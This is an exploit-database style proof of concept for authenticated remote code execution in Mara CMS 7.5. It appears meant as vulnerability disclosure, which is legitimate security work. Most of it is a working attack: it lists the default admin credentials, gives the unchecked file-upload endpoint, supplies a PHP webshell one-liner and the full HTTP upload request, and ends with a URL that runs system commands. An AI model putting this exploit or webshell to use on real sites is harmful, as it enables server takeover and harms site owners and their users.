Mara CMS 7.5 Remote Code Execution

`# Exploit Title: Mara CMS 7.5 - Remote Code Execution (Authenticated)  
# Google Dork: N/A  
# Date: 2020-08-31  
# Exploit Author: Michele Cisternino (0blio_)  
# Vendor Homepage: https://sourceforge.net/projects/maracms/  
# Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download  
# Version: 7.5  
# Tested on: Kali Linux(x64)  
# CVE: N/A  
  
  
# Description  
  
  
MaraCMS 7.5 is vulnerable to Authenticated Remote Code Execution.  
In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS as 'admin' or 'manager'.  
The file uploader fails to check extensions of files uploaded by the user, so it is possible to upload a webshell and get RCE.  
  
  
# PoC  
  
  
1. Login on MaraCMS. Default credentials are:  
Username: admin  
Password: changeme  
  
  
2. Navigate the file upload functionality (http://target/codebase/dir.php?type=filenew) and upload a file called 'webshell.php' with content '<?php system($_GET["cmd"]); ?>'.  
A request similar to the following will be made:  
  
  
POST /codebase/handler.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------1202504167994776142974823268  
Content-Length: 1282  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/codebase/dir.php?type=filenew  
Cookie: your_sitename_session_session=krevi5f3gr416p3o7cqdk4j1vv  
Upgrade-Insecure-Requests: 1  
  
  
-----------------------------1202504167994776142974823268  
Content-Disposition: form-data; name="authenticated"  
  
  
MQ==  
-----------------------------1202504167994776142974823268  
Content-Disposition: form-data; name="action"  
  
  
dXBsb2Fk  
-----------------------------1202504167994776142974823268  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
  
10485760  
-----------------------------1202504167994776142974823268  
Content-Disposition: form-data; name="type"  
  
  
filenew  
-----------------------------1202504167994776142974823268  
Content-Disposition: form-data; name="files[]"; filename="webshell.php"  
Content-Type: application/x-php  
  
  
<?php system($_GET["cmd"]); ?>  
  
  
-----------------------------1202504167994776142974823268  
Content-Disposition: form-data; name="usr"  
  
  
YWRtaW4=  
-----------------------------1202504167994776142974823268  
Content-Disposition: form-data; name="pwd"  
  
  
MWUyNzUwMTA3OTgyNzQ2NTQ5ZDZlYWY0MWNmMzcwZTBlZTc3NWNiNWZiNTExMWNhOGI5ZWNjNWI0M2JkOGE2NA==  
-----------------------------1202504167994776142974823268  
Content-Disposition: form-data; name="authenticated"  
  
  
MQ==  
-----------------------------1202504167994776142974823268  
Content-Disposition: form-data; name="destdir"  
  
  
  
  
-----------------------------1202504167994776142974823268--  
  
  
3. Execute remote commands by navigating:  
  
http://target/webshell.php?cmd=whoami  
`